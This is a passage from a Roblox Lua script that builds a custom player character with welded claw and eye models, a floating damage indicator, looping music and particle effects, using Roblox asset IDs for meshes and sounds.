2564 | debounce.Parent=hit.Parent | |
2565 | debounce.Value=true | |
2566 | game:GetService("Debris"):AddItem(debounce,Delay) | |
2567 | c=Instance.new("ObjectValue") | |
2568 | c.Name="creator" | |
2569 | c.Value=Player | |
2570 | c.Parent=h | |
2571 | game:GetService("Debris"):AddItem(c,.5) | |
2572 | CRIT=false | |
2573 | hitDeb=true | |
2574 | AttackPos=6 | |
2575 | end | |
2576 | end | |
2577 | ||
2578 | showDamage=function(Char,Dealt,du,Color) | |
2579 | m=Instance.new("Model") | |
2580 | m.Name=tostring(Dealt) | |
2581 | h=Instance.new("Humanoid") | |
2582 | h.Health=0 | |
2583 | h.MaxHealth=0 | |
2584 | h.Parent=m | |
2585 | c=Instance.new("Part") | |
2586 | c.Transparency=0 | |
2587 | c.BrickColor=TorsoColor | |
2588 | c.Name="Head" | |
2589 | c.TopSurface=0 | |
2590 | c.BottomSurface=0 | |
2591 | c.formFactor="Plate" | |
2592 | c.Size=Vector3.new(1,.4,1) | |
2593 | ms=Instance.new("CylinderMesh") | |
2594 | ms.Scale=Vector3.new(.8,.8,.8) | |
2595 | so("http://www.roblox.com/asset/?id=199149269",c,1,1) | |
2596 | if CRIT==true then | |
2597 | ms.Scale=Vector3.new(1,1.25,1) | |
2598 | end | |
2599 | ms.Parent=c | |
2600 | c.Reflectance=0 | |
2601 | Instance.new("BodyGyro").Parent=c | |
2602 | c.Parent=m | |
2603 | if Char:findFirstChild("Head")~=nil then | |
2604 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2605 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
2606 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2607 | end | |
2608 | f=Instance.new("BodyPosition") | |
2609 | f.P=2000 | |
2610 | f.D=100 | |
2611 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2612 | f.position=c.Position+Vector3.new(0,3,0) | |
2613 | f.Parent=c | |
2614 | game:GetService("Debris"):AddItem(m,.5+du) | |
2615 | c.CanCollide=false | |
2616 | m.Parent=workspace | |
2617 | c.CanCollide=false | |
2618 | end | |
2619 | ||
2620 | Player=game:GetService('Players').ThatProGamerKilledU | |
2621 | Character=Player.Character | |
2622 | m=Instance.new('Model',Character) | |
2623 | ||
2624 | ||
2625 | local function weldBetween(a, b) | |
2626 | local weldd = Instance.new("ManualWeld") | |
2627 | weldd.Part0 = a | |
2628 | weldd.Part1 = b | |
2629 | weldd.C0 = CFrame.new() | |
2630 | weldd.C1 = b.CFrame:inverse() * a.CFrame | |
2631 | weldd.Parent = a | |
2632 | return weldd | |
2633 | end | |
2634 | ||
2635 | it=Instance.new | |
2636 | ||
2637 | function nooutline(part) | |
2638 | part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10 | |
2639 | end | |
2640 | ||
2641 | function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size) | |
2642 | local fp=it("Part") | |
2643 | fp.formFactor=formfactor | |
2644 | fp.Parent=parent | |
2645 | fp.Reflectance=reflectance | |
2646 | fp.Transparency=transparency | |
2647 | fp.CanCollide=false | |
2648 | fp.Locked=true | |
2649 | fp.BrickColor=BrickColor.new(tostring(brickcolor)) | |
2650 | fp.Name=name | |
2651 | fp.Size=size | |
2652 | fp.Position=Character.Torso.Position | |
2653 | nooutline(fp) | |
2654 | fp.Material=material | |
2655 | fp:BreakJoints() | |
2656 | return fp | |
2657 | end | |
2658 | ||
2659 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
2660 | local mesh=it(Mesh) | |
2661 | mesh.Parent=part | |
2662 | if Mesh=="SpecialMesh" then | |
2663 | mesh.MeshType=meshtype | |
2664 | mesh.MeshId=meshid | |
2665 | end | |
2666 | mesh.Offset=offset | |
2667 | mesh.Scale=scale | |
2668 | return mesh | |
2669 | end | |
2670 | ||
2671 | function weld(parent,part0,part1,c0,c1) | |
2672 | local weld=it("Weld") | |
2673 | weld.Parent=parent | |
2674 | weld.Part0=part0 | |
2675 | weld.Part1=part1 | |
2676 | weld.C0=c0 | |
2677 | weld.C1=c1 | |
2678 | return weld | |
2679 | end | |
2680 | ||
2681 | local modelzorz=Instance.new("Model") | |
2682 | modelzorz.Parent=Character | |
2683 | modelzorz.Name="Claw1" | |
2684 | ||
2685 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2686 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2687 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2688 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2689 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2690 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2691 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2692 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2693 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2694 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2695 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2696 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2697 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2698 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2699 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2700 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2701 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2702 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2703 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2704 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2705 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2706 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2707 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2708 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2709 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2710 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2711 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2712 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2713 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2714 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2715 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2716 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2717 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2718 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2719 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2720 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2721 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2722 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2723 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2724 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2725 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2726 | ||
2727 | local modelzorz2=Instance.new("Model") | |
2728 | modelzorz2.Parent=Character | |
2729 | modelzorz2.Name="Claw2" | |
2730 | ||
2731 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1)) | |
2732 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2733 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2734 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2735 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2736 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2737 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2738 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2739 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2740 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2741 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2742 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2743 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2744 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2745 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2746 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2747 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2748 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2749 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2750 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2751 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2752 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2753 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2754 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2755 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2756 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2757 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2758 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2759 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2760 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002)) | |
2761 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2762 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2763 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2764 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2765 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2766 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2767 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2768 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2769 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2770 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
2771 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2772 | ||
2773 | local modelzorz3=Instance.new("Model") | |
2774 | modelzorz3.Parent=Character | |
2775 | modelzorz3.Name="Eye" | |
2776 | ||
2777 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2778 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
2779 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
2780 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2781 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2782 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
2783 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2784 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2785 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
2786 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2787 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2788 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
2789 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
2790 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
2791 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
2792 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2793 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
2794 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2795 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
2796 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2797 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
2798 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
2799 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
2800 | local moosick = it("Sound",Character) | |
2801 | moosick.SoundId = "rbxassetid://613035749" | |
2802 | --142653441, 175067863 | |
2803 | moosick.Looped = true | |
2804 | moosick.Pitch = 0.9775 | |
2805 | moosick.Volume = 1.5 | |
2806 | moosick:Play() | |
2807 | ||
2808 | anim = Character:findFirstChild("Animate") | |
2809 | if anim then | |
2810 | anim:Destroy() | |
2811 | end | |
2812 | ||
2813 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
2814 | particleemitter.VelocitySpread = 180 | |
2815 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2816 | particleemitter.Speed = NumberRange.new(2) | |
2817 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2818 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2819 | particleemitter.Rate = 100 | |
2820 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2821 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2822 | particleemitter.LightEmission = 0.8 | |
2823 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2824 | ||
2825 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
2826 | particleemitter.VelocitySpread = 180 | |
2827 | particleemitter.Lifetime = NumberRange.new(0.1) | |
